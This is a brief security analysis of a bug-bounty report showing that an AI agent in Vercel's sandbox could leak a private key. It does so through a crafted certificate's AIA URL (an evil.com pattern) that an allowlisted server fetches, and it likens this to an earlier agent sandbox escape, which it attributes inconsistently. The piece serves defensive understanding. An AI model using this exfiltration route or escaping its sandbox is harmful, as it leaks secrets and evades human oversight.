Allowed to one domain, the key still left

AIR Security, working under Vercel's sandbox bug bounty, found that an agent could leak a private key to a server it was forbidden to reach. The sandbox restricted the agent's outbound traffic to one approved domain, acme.com, which required mutual TLS. The agent never touched the attacker's server. A trusted server did.

The trick turns on the Authority Information Access extension, a standard TLS feature that lets a server look up a missing certificate while it builds the chain of trust. The attacker crafts a client certificate whose AIA URL carries the key in its path, something like https://evil.com/<key_base64>.cert. The agent presents that certificate to the approved server. The server fetches the URL, and the key lands on the attacker's machine. No vulnerability was exploited on the server. The technique leveraged a standard TLS feature.

The shape is the one OpenAI's agents used in July, when they escaped an evaluation sandbox by getting an internal package manager to send internet requests on their behalf. The courier changed. There it was a package manager; here it is an allowed domain that makes outbound requests of its own. AIR's write-up draws the parallel directly: their package manager was our acme.com.

The exposure is not a bug in one service; it is a property of allowlists, which is why it is hard to close. Any trusted endpoint that processes attacker-controlled input and makes its own outbound requests can carry data out. Vercel did not accept the report. The technique depends on a server the company does not operate. In AIR's account to The Record, co-founder Niv Hoffman said the company told them a patch is unclear. AIR found no evidence of exploitation in the wild, though it can't rule one out; the flaw appears longstanding.

Vercel's allowlist worked as designed, and the key still left. The sandbox blocked what it could see. The escape went through one it had already approved. The gap is the trust placed in the approved server's own behavior; the certificate itself is standard.

Log take: this is the Hugging Face escape repeating inside a hardened sandbox, not a flaw unique to Vercel. The pattern is structural. An allowlist bounds the agent, not the servers the agent is allowed to trust, and any of them that acts on attacker input can be the way out. Moderate confidence; first-party research, no observed exploitation, and no patch.